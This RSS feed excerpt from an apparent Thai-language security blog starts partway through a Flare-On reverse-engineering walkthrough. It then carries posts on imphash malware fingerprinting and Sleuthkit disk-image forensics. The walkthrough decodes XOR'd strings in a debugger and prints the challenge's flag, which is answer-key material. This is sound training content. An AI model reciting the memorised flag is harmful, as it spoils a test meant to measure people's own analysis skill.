0</strong></li></ul><p>ดังนั้นตอนนี้เราสามารถสรุปได้ว่า<strong>โปรแกรมนี้ได้ทำการ Load Library ที่ชื่อว่า user32 มาใช้งาน</strong></p><p>จากนั้นให้วิเคราะห์ต่อโดยกด Step over (F8) จนถึง <strong>GetProcAddress (Address: 00401348) </strong>ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9_vG64VKpeikCINhh5__kQ.png" /></figure><p>จะเห็นได้ว่าก่อนเข้า GetProcAddress มีการ Push ค่าบางอย่างก่อนประกอบไปด้วย</p><ul><li><strong>(00401331) PUSH 141786F</strong> แปลงจาก Hex เป็น ascii จะได้ Axo</li><li><strong>(0040133C) PUSH 42656761</strong> แปลงจาก Hex เป็น ascii จะได้ Bega</li><li><strong>(00401341) PUSH 7373654D</strong> แปลงจาก Hex เป็น ascii จะได้ sseM</li></ul><p>ถ้าเรานำมารวมกันจะเป็น <strong>AxoBegasseM</strong> เนื่องจาก <strong>x86 architecture ใช้รูปแบบ Little-endian ดังนั้นเราต้องเรียงใหม่ให้เป็นแบบ Big-Endian ก่อน </strong>ดังนั้นจะได้เป็นคำว่า <strong>MessageBoxA</strong> ตรงกับข้อมูลที่อยู่ใน Stack</p><p>จาก Argument ที่เราเห็นใน Stack สรุปได้ว่า <strong>Executable ตัวนี้ใช้ GetProcAddress หา Address ของ MessageBoxA จาก User32 Library ที่ Load มาก่อนหน้านี้ เพื่อนำ MessageBox Function มาใช้งานในโปรแกรม</strong></p><p>สเต็ปต่อไปให้ Step over (F8) ไปเรื่อยๆ จนถึง <strong>(Address: 00401361) XOR ตัวแรก </strong>ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fDR3dmRvxQ4JUjGPeRctpg.png" /></figure><p>จะสังเกตุได้ว่ามีการใช้ XOR จำนวนมากก <strong>โดยเป็นการ XOR ข้อมูลที่อยู่บน Address ของ Register EDX ด้วย Key ต่าง ๆ และทำการ Push เข้าสู่ Stack</strong></p><p>ดังนั้นเราจะมาดูกันว่าค่าเหล่านั้นที่นำมา XOR มีอะไรบ้าง โดย<strong>คลิกขวาที่ค่าของ EDX แล้วกด Follow in Dump</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bb-CgDO47tElxs6HHF28pQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZUB9yrKq5hCEIHJDqL_01w.png" /></figure><p>จะเห็นข้อมูลที่เก็บไว้บน Address ดังกล่าวที่มุมซ้ายล่าง โดยเริ่มจากตำแหน่ง <strong>0040135E</strong></p><p>จากนั้นเริ่มมาวิเคราะห์การทำงานของ XOR กัน</p><p>XOR DWORD PTR DS:[EDX+B],32FBA316</p><p>จาก Assembly Code จะเห็นได้ว่า XOR ข้อมูลที่อยู่ใน Address ของ <strong>EDX+B ซึ่งก็คือ 0040135E+B</strong> ซึ่งข้อมูลที่อยู่ในตำแหน่งนั้นคือ <strong>79 CE BE 32 นำมา XOR กับ Key: 16A3FB32 (Convert to Big-Endian)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*Cpl0DRhAR6kkphezeTxloQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*_qo8DIqo6vV1FepQvU44eA.png" /></figure><p>ก็จำได้เป็นคำว่า<strong> omE.</strong> ตามภาพด้านบน ซึ่งอยู่ในรูปแบบของ <strong>Little-Endian </strong>อยู่</p><p>หลังจากนั้นก็จะมีการ XOR ต่อไปเรื่อยๆจนครบ จะได้ Key ของเราพอดี</p><blockquote>wa1ch.d3m.spl01ts@flare-on.com</blockquote><p>โดยเราสามารถ <strong>XOR ด้วยตนเอง</strong> หรือจะกด <strong>Step over (F8) ถึงผ่าน (Address: 004013C5) PUSH ECX จะเห็นบน Stack พอดี</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zyoogztNyR7ShryYaor8FQ.png" /></figure><p>จนถึงตอนนี้ก็น่าจะได้คำตอบกันแล้ว แต่การทำงานของโปรแกรมยังไม่จบ !</p><p>หากเรากด <strong>Step over (F8) จนถึง XOR (Address: 004013D2) </strong>จะเห็นว่าสเต็ปนี้แหละเป็นการ<strong>นำ Key เรา (wa1ch.d3m.spl01ts@flare-on.com) ไปทำการ XOR จนเพี้ยน</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kBdq7GoY0Xvng76Td9luPA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*4_p1Tsk69u3ZxK6Wi2QkDw.png" /></figure><p>ถ้าเรา Step over (F8) ไปเรื่อยๆ เราจะเห็นว่ามันวน XOR จนเละเทะ สุดท้ายออกมาเป็นข้อความที่โชว์ใน MessageBox ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/212/1*KlK1OUkZsFj0smL5Jqot-A.png" /></figure><h3>จบแล้ววว</h3><p>ก็จบลงไปแล้วนะครับ ขอขอบคุณผู้อ่านทุกท่านและหวังว่าผู้อ่านทุกคนจะได้รับประโยชน์จากบทความนี้ครับ</p><h3>Ref.</h3><p>[1] <a href="https://github.com/DidierStevens/DidierStevensSuite/blob/master/pdfid.py">https://github.com/DidierStevens/DidierStevensSuite/blob/master/pdfid.p</a>y</p><p>[2] <a href="https://github.com/jesparza/peepdf">https://github.com/jesparza/peepdf</a></p><p>[3] <a href="https://github.com/DidierStevens/DidierStevensSuite/blob/master/pdf-parser.py">https://github.com/DidierStevens/DidierStevensSuite/blob/master/pdfparser.py</a></p><p>[4] <a href="https://github.com/DidierStevens/DidierStevensSuite/blob/master/base64dump.py">https://github.com/DidierStevens/DidierStevensSuite/blob/master/base64dump.py</a></p><p>[5] <a href="https://github.com/MarioVilas/shellcode_tools/blob/master/shellcode2exe.py">https://github.com/MarioVilas/shellcode_tools/blob/master/shellcode2exe.py</a></p><p>[6] <a href="https://www.winitor.com/">https://www.winitor.com</a></p><p>[7] <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/procmon">https://docs.microsoft.com/en-us/sysinternals/downloads/procmon</a></p><p>[8] <a href="https://github.com/mandiant/flare-fakenet-ng">https://github.com/mandiant/flare-fakenet-ng</a></p><p>[9] <a href="https://processhacker.sourceforge.io/">https://processhacker.sourceforge.io/</a></p><p>[10] <a href="https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messageboxa">https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messageboxa</a></p><p>[11] <a href="https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryexa">https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryexa</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=99de9c346628" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malware Analysis — Static Analysis Part 4 : File fingerprinting ( Imphash )]]></title>
            <link>https://huntsman-dfir.medium.com/malware-analysis-static-analysis-part-4-file-fingerprinting-imphash-c758a4f29217?source=rss-a0f9fedd36d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/c758a4f29217</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[file-fingerprinting]]></category>
            <category><![CDATA[imphash]]></category>
            <dc:creator><![CDATA[WIRAPONG PETSHAGUN]]></dc:creator>
            <pubDate>Mon, 08 Jun 2020 06:33:10 GMT</pubDate>
            <atom:updated>2021-02-09T09:40:28.944Z</atom:updated>
            <content:encoded><![CDATA[<h3>Malware Analysis — Static Analysis Part 4 : File fingerprinting ( Imphash )</h3><p>ในหลายๆครั้ง เมื่อเราวิเคราะห์ Malware ด้วยการนำ Hash ของไฟล์ Malware ไปตรวจสอบบน Virus total หรือในที่อื่นๆนั้นไม่พบข้อมูล</p><p>สาเหตุของการไม่พบข้อมูลอาจเป็นเพราะ Malware ถูก Generate หรือถูกเขียนด้วยค่า Configuration ต่างๆ ที่ไม่เหมือนกัน ยกตัวอย่างเช่น C2 Domain ที่แตกต่างกันโดยแยกใช้กับ Target แต่ละที่</p><p>ซึ่งความเป็นจริงแล้วนั้น อาจเป็น Known Malware ที่ถูกใช้ในที่อื่นๆ ซึ่งเราสามารถใช้ค่า Imphash ในการค้นหาข้อมูลของ Malware แทนการใช้ Hash ได้</p><h3>Imphash คืออะไร ?</h3><p>Imphash หรือที่เรียกกันว่า Import hash คือค่าของการทำ Hashing โดยการคำนวณจาก Library และ Function รวมถึง Order ของ Function ที่ถูกเรียกใช้งานบน Executable File</p><p>โดย Library/Function นั้นระบุได้ถึงความสามารถในการทำงานของโปรแกรมว่าแต่ละโปรแกรมมีความสามารถอย่างไรบ้าง ซึ่งแน่นอนว่า แต่ละโปรแกรมจะมีความสามารถที่ไม่เหมือนกัน ทำให้ Imphash ที่ได้ออกมานั้นแตกต่างกัน</p><p>ดังนั้นการที่หากผู้เขียน Malware ทำการเปลี่ยนค่า Configuration ต่างๆ สิ่งที่จะเปลี่ยนคือ Hash ของไฟล์ แต่ Function การทำงานของ Malware เหมือนเดิม แต่ค่า Imphash จะเป็นค่าเดิมเสมอ</p><h3>การวิเคราะห์ Malware ด้วยการใช้ Imphash</h3><p>เราสามารถหาค่า Imphash ด้วยการใช้โปรแกรม <a href="https://www.winitor.com/">PE Studio</a> แบบง่ายๆ ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1xPCZmLPquO8eHP8" /><figcaption>Imphash</figcaption></figure><p>จากนั้นนำ Imphash ที่ได้ ไป Search หาข้อมูลในแหล่งต่างๆ ก็จะพบข้อมูลที่เกี่ยวเนื่องกับ Malware</p><h3>จุดด้อย ของการใช้ Imphash ในการวิเคราะห์ Malware</h3><p>หากผู้เขียน Malware ทำการ Pack หรือ Obfuscate มา หรือ Malware เป็น .NET ก็จะไม่สามารถใช้ Imphash ในการวิเคราะห์ได้ เนื่องจากจะไม่แสดง Library/Import Function ที่ถูกใช้จริง ทำให้ค่า Imphash ที่ได้จะมีค่าซ้ำกับไฟล์อื่นๆ</p><p>ยกตัวอย่างเช่นไฟล์ .NET ตามภาพด้านล่าง ที่มี Import Function เพียงแค่อันเดียว</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sSlgdNPl6Ara6PzX" /></figure><p>เมื่อนำค่า Imphash ของไฟล์นี้ไป Search หาข้อมูล ก็จะพบข้อมูลในลักษณะเดียวกัน ที่ไม่เกี่ยวข้องกับ Malware ตัวนี้เลย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LG085q_5KA2psesH" /><figcaption>search with imphash</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c758a4f29217" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[File System forensics — Analyze Disk Images ( Harddisk )]]></title>
            <link>https://huntsman-dfir.medium.com/file-system-forensics-analyze-disk-images-harddisk-aa8db2bf7084?source=rss-a0f9fedd36d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/aa8db2bf7084</guid>
            <dc:creator><![CDATA[WIRAPONG PETSHAGUN]]></dc:creator>
            <pubDate>Thu, 28 May 2020 05:18:08 GMT</pubDate>
            <atom:updated>2020-05-28T05:20:13.445Z</atom:updated>
            <content:encoded><![CDATA[<h3>Digital Forensics Part 2 — File System forensics</h3><p>ก่อนอื่นที่เราจะทำ File System forensics ได้เราจะต้องรู้เกี่ยวกับพื้นฐานต่างๆกันก่อน</p><h3>Part 1. Overview</h3><h4>Harddisk Components</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/0*M5dfUrj90vB4hsuf" /><figcaption>HDD Components</figcaption></figure><p>ส่วนประกอบหลักของ Harddisk มีดังนี้</p><ul><li><strong>Actuator :</strong> ควบคุมการหัว อ่าน/เขียน โดยใช้มอเตอร์ขนาดเล็ก</li><li><strong>Read/Write head :</strong> มีไว้สำหรับเขียน/อ่าน ข้อมูลที่อยู่บน Platter</li><li><strong>Platter :</strong> จานแผ่นกลมๆ โดยทั่วไปจะทำจาก อลูมิเนียม/เซรามิก ซึ่งมีพื้นผิวเป็นแม่เหล็ก โดยใช้เพื่อเก็บข้อมูลซึ่งการเขียน/อ่านข้อมูล จะทำบน Platter ทั้งสองด้าน</li><li><strong>Spindle :</strong> ควบคุมการหมุนของ Platter เพื่อให้ Read/Write head สามารถเข้าถึงข้อมูลในส่วนที่ต้องการ เขียน/อ่าน ที่ต้องการได้ โดยใช้มอเตอร์ขนาดเล็ก</li></ul><h4>Track, Cluster, Sector</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/0*FIIZwwko_kOSxINn" /><figcaption>Track, Cluster, Sector</figcaption></figure><p>ในแต่ละ Platter จะมีการแบ่งเป็น Track ซึ่งทั่วไปจะมีทั้งหมด 1024 Track บน 1 Platter โดย Track ที่ 0 จะอยู่วงนอกสุดของ Platter และจะเรียงเข้าไปจนถึงส่วน Track ที่ 1023 ที่อยู่ติดกับ Spindle</p><p>และมีหน่วยย่อยลงไปอีกในแต่ละ Track ดังนี้</p><ul><li><strong>Sector : </strong>เป็นหน่วยที่มีเล็กที่สุดบน disk​ ซึ่งโดยปกติแล้วจะมีขนาดเท่ากับ 512 bytes</li><li><strong>Cluster (บน Linux จะเรียกว่า Block ) : </strong>เป็นหน่วยที่ใช้เรียกกลุ่มของ Sector บน Harddisk โดยค่าที่ต่ำสุดที่สามารถแบ่ง Cluster ได้คือ 1 Sector / Cluster</li></ul><h4>Allocated space, Unallocated space, Slack space</h4><p>สถานะของ Space หลักๆ จะมีดังนี้</p><ul><li><strong>Allocated space : </strong>เป็นพื้นที่ที่ถูกจองเพื่อใช้งานแล้ว ไม่สามารถเขียนข้อมูลอื่นทับลงพื้นที่นี้ได้ เนื่องจากมีการใช้งานอยู่</li><li><strong>Unallocated space : </strong>เป็นพื้นที่ที่ยังไม่ถูกจอง สามารถเขียนข้อมูลลงพื้นที่นี้ได้ ส่วนมาก Unallocated space จะเกิดขึ้นเมื่อมีการลบไฟล์ โดยข้อมูลที่อยู่บน Space ในส่วนนี้จะยังไม่ได้ถูกลบจริงๆเป็นเพียงแค่การเปลี่ยนสถานะว่าพื้นที่ไม่ได้ใช้งานแล้ว สามารถมาเขียนข้อมูลอื่นๆทับได้ <strong>ซึ่งหากยังไม่มีการเขียนทับข้อมูลบนพื้นที่ส่วนนี้ก็จะสามารถทำ Recovery ไฟล์ ( กู้ไฟล์ ) ที่อยู่บนพื้นที่ส่วนนี้กลับมาได้</strong></li><li><strong>Slack space : </strong>เป็นพื้นที่ในส่วนที่เหลือจากการใช้งาน เช่นมี Cluster มีขนาด 1024 bytes แต่ไฟล์มีขนาดเพียง 824 bytes ก็จะเหลือพื้นที่ที่เป็น Slack space ขนาด 200 bytes <strong>ซึ่งหากพื้นที่ในส่วน Slack space เคยถูกใช้งานในการเก็บข้อมูลก่อนหน้านี้แล้วอาจทำให้มีข้อมูลเก่าเหลืออยู่บนพื้นที่นี้ได้เช่นกัน</strong></li></ul><p>เพื่อให้เข้าใจภาพรวมทั้งหมด จะยกตัวอย่างดังนี้</p><ol><li>ทำการ Format Harddisk และแบ่งให้ 1 Cluster มีพื้นที่เท่ากับ 2048 bytes ดังนั้น เท่ากับว่ามี 4 Sector / Cluster <strong>โดยพื้นที่ทั้งหมดยังไม่ได้ถูกใช้งาน ก็จะเรียกว่าเป็น Unallocated space ( พื้นที่ที่ยังไม่ได้ถูกจอง )</strong> ตามภาพด้านล่าง 512 bytes = 1 Sector 2048 bytes = <strong>4 Sector ( </strong>2048 bytes /512 bytes )</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/0*ll4piqFfJFZTBAWu" /></figure><p>2. จากนั้นได้ทำการสร้างไฟล์ A ขนาด 3000 bytes ดังนั้นจะต้องใช้ทั้งหมด 2 Cluster ( 4096 bytes ) ในการเขียนข้อมูลไฟล์ <strong>ซึ่งการจองพื้นที่เพื่อเขียนข้อมูลของไฟล์ก็จะเรียกว่าเป็น Allocated space ( พื้นที่ที่ถูกจองแล้ว )</strong></p><p>ซึ่งหลังจากที่เราคำนวนดูจะพบว่ามีพื้นที่ส่วนที่เหลือจำนวน 1096 bytes ( 4096 bytes — 3000 bytes ) <strong>โดยพื้นที่ในส่วนที่เหลือนี้จะไม่ถูกใช้งานในการเขียนข้อมูลใดๆ ซึ่งก็จะเรียกพื้นที่ในส่วนนี้ว่า Slack Space</strong> ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/0*pLf5iYUl4VOunb7P" /><figcaption>Write file A</figcaption></figure><p>3. จากนั้นได้ทำการลบไฟล์ A ก็จะเท่ากับว่า พื้นที่ทั้งหมดจะกลับไปมีสถานะเป็น Unallowcated space <strong>แต่ข้อมูลจริงๆที่อยู่บน Harddisk นั้นไม่ได้ถูกลบเพียงแค่บอกว่าพื้นที่ส่วนนี้ไม่ได้ถูกใช้งานแล้วสามารถเขียนทับได้ ซึ่งหากยังไม่มีข้อมูลอื่นมาเขียนทับ เราจะสามารถกู้ไฟล์ A กลับมาได้</strong> ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/0*CYroGoWCnKcU7U37" /><figcaption>After delete file A</figcaption></figure><p>4. จากนั้นได้ทำการสร้างไฟล์ B ขนาด 2200 bytes ขึ้นมาบนเครื่อง ซึ่งได้มีการเขียนข้อมูลของไฟล์ B ลงบน Cluster เดิมที่ไฟล์ A เคยอยู่พอดี <strong>โดยจะเห็นได้ว่าข้อมูลไฟล์ B จะไม่ได้เขียนทับพื้นที่เก่าที่เคยใช้บนไฟล์ A ทั้งหมดเนื่องจากมีขนาดไฟล์เพียง 2200 bytes จะทำให้เหลือส่วนที่เป็นข้อมูลของไฟล์ A ซึ่งส่วนนี้เรียกว่า Slack space ของไฟล์ A </strong>ซึ่งมีขนาด 800 bytes ( 3000 bytes — 2200 bytes ) ซึ่งสามารถเราดูข้อมูลของไฟล์ A ที่ยังไม่ได้ถูกเขียนทับได้ แต่ไม่สามารถกู้ไฟล์ A กลับมาแบบครบถ้วนได้ เพราะพื้นที่บางส่วนถูกไฟล์ B เขียนทับไปแล้วนั่นเอง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/0*Y9w08PXHqrmyj9YM" /><figcaption>After write file B</figcaption></figure><h4>File System Architectures</h4><p>หลายๆคนที่ใช้ Storage น่าจะเคยคุ้นกับ FAT12, FAT16, FAT32, NTFS คำถามคือแล้วมันแตกต่างกันอย่างไรล่ะ ?</p><p><strong>FAT12 ( 12-bit File Allocation Table )</strong></p><ul><li>Cluster Size มีขนาดได้ตั้งแต่ 512 bytes ถึง 8 KB</li><li>สามารถมี Address ได้ 12 bit ( ตามชื่อ )</li><li>มี Cluster ได้สูงสุด 4,096 Cluster ( 2 ยกกำลังด้วย 12 bit-address ) ดังนั้นในทางทฤษฎีจะมี Volume size สูงสุดได้ 32​ MB ( 4,096 Cluster x 8 KB )</li></ul><p><strong>FAT16 ( 16-bit File Allocation Table )</strong></p><ul><li>Cluster Size มีขนาดได้ตั้งแต่ 512 bytes ถึง 64 KB</li><li>สามารถมี Address ได้ 16 bit ( ตามชื่อ )</li><li>มี Cluster ได้สูงสุด 65,536 Cluster ( 2 ยกกำลังด้วย 16 bit-address ) ดังนั้นในทางทฤษฎีจะมี Volume size สูงสุดได้ 4​ GB ( 65,536 Cluster x 64 KB )</li></ul><p><strong>FAT32 ( 32-bit File Allocation Table )</strong></p><ul><li>Cluster Size มีขนาดได้ตั้งแต่ 512 bytes ถึง 32 KB</li><li>สามารถมี Address ได้ 28 bit ( ตามชื่อเป็น 32 bit แต่จริงๆมีเพียง 28 bit อีก 4 ปล่อยทิ้งไว้ )</li><li>มี Cluster ได้สูงสุด 268,435,456 Cluster ( 2 ยกกำลังด้วย 28 bit-address ) ดังนั้นในทางทฤษฎีจะมี Volume size สูงสุดได้ 8 TB ( 268,435,456 Cluster x 32 KB )</li></ul><blockquote>ซึ่งเริ่มแรก FAT นั้นจะมีข้อจำกัดเรื่องการตั้งชื่อไฟล์ในรูปแบบ 8.3 filename ( การตั้งชื่อไฟล์จะต้องมีความยาวของตัวอักษรไม่เกิน 8 ตัวอักษร และมีความยาวของนามสกุลไฟล์ไม่เกิน 3 ตัวอักษร ) แต่ในภายหลัง บนระบบปฎิบัติการ Windows 95 ได้มีการพัฒนา VFAT เพื่อมาช่วยในเรื่องของ Long File Names (LFNs) ให้สามารถตั้งชื่อไฟล์ได้ยาวขึ้นถึง 255 ตัวอักษร และยังสามารถรองรับ 8.3 filename ( backward compatible ) ด้วยเช่นกัน สามารถดูรายละเอียดเพิ่มเติมได้ใน <a href="https://en.wikipedia.org/wiki/Design_of_the_FAT_file_system#VFAT">VFAT</a></blockquote><blockquote>และนอกจากนั้นยังมีการเก็บ File Allocation Table ลงบนพื้นที่ที่ถูก Fixed ไว้บนตำแหน่งที่ใช้ในการเก็บ File Allocation Table โดยเฉพาะ</blockquote><p>จากนั้นได้มีการพัฒนา File System Architecture ใหม่ โดย Microsoft ​​ ซึ่งใช้ชื่อว่า NTFS และมีการใช้กันจนถึงทุกวันนี้ โดย NTFS มีคุณสมบัติดังนี้</p><p><strong>NTFS ( New Technology File System )</strong></p><ul><li>Cluster Size มีขนาดสูงสุดได้ถึง 64 KB</li><li>ในทางทฤษฎีจะมี Volume size ได้สูงสุดถึง 256 TB</li></ul><p>นอกจากนั้น NTFS มีความสามารถในการทำ Compression, Encryption, Object Permissions ซึ่งมีการใช้ MFT ( Master File Table ) ในการจัดเก็บข้อมูลเกี่ยวกับไฟล์ต่างๆ แทนที่การเก็บ File Allocation Table แบบ FAT โดยจะมีการจัดเก็บ MFT ในรูปแบบของไฟล์ โดยสามารถอ่านข้อมูลเพิ่มเติมได้ที่ <a href="https://en.wikipedia.org/wiki/NTFS#Master_File_Table">MFT wiki</a></p><blockquote>สำหรับ Volume size ที่กล่าวไปข้างต้นนั้นเป็นเพียงการคำนวนทางทฤษฎี ซึ่งในทางปฎิบัติจริงๆจะมีข้อจำกัดในแต่ละระบบปฎิบัติการเวอร์ชั่นต่างๆอยู่ เช่น FAT32 นั้นหากคิดตามทฤษฎีจะสามารถสร้าง Volume ที่มีขนาดสูงสุดได้ 8TB แต่ในทางปฎิบัติหากใช้ Windows 7 จะสร้าง Volume ได้สูงสุดเพียง 32 GB เท่านั้น สามารถอ่านเพิ่มเติมได้ที่ <a href="https://support.microsoft.com/en-us/help/140365/default-cluster-size-for-ntfs-fat-and-exfat">Microsoft Default cluster size</a></blockquote><h4>Master Boot Record</h4><p>ในตอนที่เปิดเครื่อง จะรู้ได้อย่างไรว่าจะต้องเริ่มทำงานที่ Partition ใด ?</p><p>สิ่งที่จะบอกได้คือ MBR ( Master Boot Record ) ซึ่งจะเก็บอยู่บน Sector แรก ของ Harddisk เสมอ<strong> </strong>ซึ่งมีไว้สำหรับเก็บข้อมูล Partition ต่างๆที่มีอยู่บนเครื่อง และจะเก็บข้อมูลว่าให้เริ่มทำงานที่ Partition ใด ซึ่งการอ่านข้อมูลของ MBR สามารถดูได้ตามภาพด้านล่างเลยครับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/0*a93BC61oHaaQjO6m" /><figcaption>MBR</figcaption></figure><h4>File System Layer</h4><p>สำหรับ File System เองจะมีการแบ่ง Layer ของ File System ( ให้นึกภาพคล้ายๆกับการแบ่ง Layer ของ Network ) จะมีทั้งหมด 5 Layer ดังนี้</p><ul><li><strong>Physical Layer :</strong> ตัว Drive เอง</li><li><strong>File System Layer : </strong>ข้อมูลเกี่ยวกับ Partition</li><li><strong>Data Layer : </strong>ข้อมูลที่ถูกเก็บไว้บน Block, Cluster</li><li><strong>Metadata Layer : </strong>ข้อมูลเกี่ยวกับไฟล์</li><li><strong>Filename Layer : </strong>ชื่อไฟล์, ไดเรกทอรี่</li></ul><h3>Part 2. Get ready to analyze disk image — Sleuthkit command</h3><p>หลังจากที่เรารู้พื้นฐานในเรื่องทฤษฎีกันแล้ว ใน Part นี้เราจะมาเรียนรู้คำสั่งเบื้องต้นสำหรับการใช้งาน Sleuthkit ที่เป็น Open-source tool เพื่อ Analyze disk images กัน</p><h4>Download and installation</h4><p>Mac OS สามารถใช้ brew ในการติดตั้งได้เลย โดยใช้คำสั่งตามนี้</p><pre>$ brew install sleuthkit</pre><p>หากเป็น Windows สามารถ Download ได้ที่ <a href="http://www.sleuthkit.org/sleuthkit/download.php">Sleuthkit</a></p><h4>Display partition table ( Volume System Tools ) — mmls</h4><p>ทุกๆครั้งที่เราจะทำการ Analyze จะต้องรู้ Offset ของ Partition และ File System Architectures ก่อนเสมอ โดยใช้คำสั่ง</p><pre>$ mmls image</pre><h4>Display general details of file system — fsstat</h4><p>หลังจากที่เรารู้ Offset และ File System Architectures ของ Partition ที่เราจะทำการ Analyze แล้ว เราสามารถแสดงข้อมูลของ File System บน Image ที่เราเก็บมาได้ โดยใช้คำสั่ง</p><pre>$ fsstat -f [file_type] -o [offset] image</pre><h4>List file and directory names ( File Name Layer Tools ) — fls</h4><p>การ List File, Directory ให้ใช้คำสั่ง</p><pre>$ fls -f [file_type] -o [offset] image</pre><blockquote>Useful options:<br>-r : แสดงข้อมูลแบบ Recursively<br>-d : แสดงเฉพาะไฟล์ที่ถูกลบ <br>-D : แสดงเฉพาะ Directory</blockquote><p>การใช้คำสั่ง fls จะมีข้อมูลออกมา 4 Column ซึ่งมีรายละเอียดดังนี้</p><p><strong>Column 1 : File Type</strong></p><ul><li>-: Unknown type</li><li>r: Regular file</li><li>d: Directory</li><li>c: Character device</li><li>b: Block device</li><li>l: Symbolic link</li><li>p: Named FIFO</li><li>s: Shadow</li><li>h: Socket</li><li>w: Whiteout</li><li>v: TSK Virtual file/directory (not a real directory, created by TSK for convenience).</li></ul><p>โดย File Type นั้นจะนำข้อมูลจาก 2 แหล่งมาแสดง ดังนี้ 1. ตัวแรกคือข้อมูลที่มาจาก file name structure 2. ตัวที่สองคือข้อมูลที่มาจาก metadata structure</p><p><strong>Column 2 : * ( Flag )</strong></p><p>หากมีเครื่องหมาย * หมายความว่า File ดังกล่าวมีข้อมูลอยู่ใน Unallocated space สามารถทำการกู้ข้อมูลของไฟล์นั้นกลับมาได้</p><p><strong>Column 3 : Metadata Address</strong></p><p>Metadata Address ของไฟล์ ​ซึ่ง Sleuthkit จะใช้ข้อมูลในส่วนนี้อ้างอิงถึงข้อมูลไฟล์ โดยจะมีรูปแบบดังนี้</p><p><strong>ADDR-TYPE-ID</strong></p><ul><li><strong>ADDR : </strong>Metadata Address ( Entry )</li><li><strong>TYPE :</strong> Attribute type</li><li><strong>ID : </strong>Attribute id</li></ul><blockquote>สามารถไปอ่านข้อมูลเพิ่มเติมเกี่ยวกับ Attribute type ใน MFT Entry ได้ใน​ <a href="http://www.c-jump.com/bcc/t256t/Week04NtfsReview/W01_0240_mft_attribute_types.htm">MFT</a></blockquote><p><strong>Column 4 : File/Directory Name</strong></p><p>ยกตัวอย่างเพื่อให้เห็นภาพง่ายๆ เช่น</p><p><strong>-/r * 29–128–3: file.dat</strong></p><p><strong>-/r </strong>หมายความว่า File Type ของไฟล์นี้ไม่มีข้อมูลบน file name structure แต่มีข้อมูลบน metadata structure ( ซึ่งในกรณี Image ที่เราเอามาทำนั้นใช้ NTFS ดังนั้น ข้อมูลเกี่ยวกับไฟล์ที่หลงเหลืออยู่บน metadata structure ก็คือ MFT ) เนื่องจากมีการลบไฟล์ดังกล่าวไปเรียบร้อยแล้ว ทำให้ข้อมูล file type ทื่อยู่บน file name structure นั้นหายไป โดยข้อมูลที่มีอยู่บนบ่งบอกถึงว่าไฟล์ดังกล่าวเป็น Regular file</p><p><strong>* </strong>ไฟล์ดังกล่าวถูกลบ แต่มีข้อมูลอยู่บน Unallocated space สามารถทำการกู้กลับมาได้</p><p><strong>29–128–3</strong></p><ul><li>Metadata Address = 29</li><li>Attribute type = 128 ( type 128 จะอ้างอิงถึง $DATA ซึ่งจะเก็บข้อมูลของไฟล์หรือที่เรียกว่า File Content )</li><li>Attribute id = 3</li></ul><h4>การ List File, Directory ที่อยู่ใน Directory มี 2 รูปแบบคือ</h4><p><strong>* รูปแบบย่อ : </strong>ให้ทำการระบุ Metadata Address ของ Directory นั้น ตามคำสั่งด้านล่าง</p><pre>$ fls -f [file_type] -o [offset] image metadata_address</pre><p>ซึ่งการทำงานของคำสั่ง fls มันจะทำการเข้าไปอ่านข้อมูลโดยใช้ <strong>$INDEX_ROOT เพื่อใช้ในการ List File, Directory ที่อยู่ภายใต้ Root node ดังกล่าว ( </strong>Attribute type 144 — เป็นข้อมูลของ Root node ของ index tree <strong>)</strong></p><p><strong>2. รูปแบบเต็ม : ใ</strong>ห้ทำการระบุ Metadata Address, Attribute type, Attribute id ของ Directory นั้น ตามคำสั่งด้านล่าง</p><pre>$ fls -f [file_type] -o [offset] image metadata_address-attribute_type-attribute_id</pre><blockquote>หากเรามาลองใช้ fls กับ regular file ( Metadata Address = 29 ) จะไม่สามารถใช้ fls กับ regular file ได้เนื่องจากหา $INDEX_ROOT ของไม่เจอ ตามภาพด้านล่าง</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*C0HN_DSFgqG-Skqf" /><figcaption>$INDEX_ROOT not found</figcaption></figure><p><strong>File 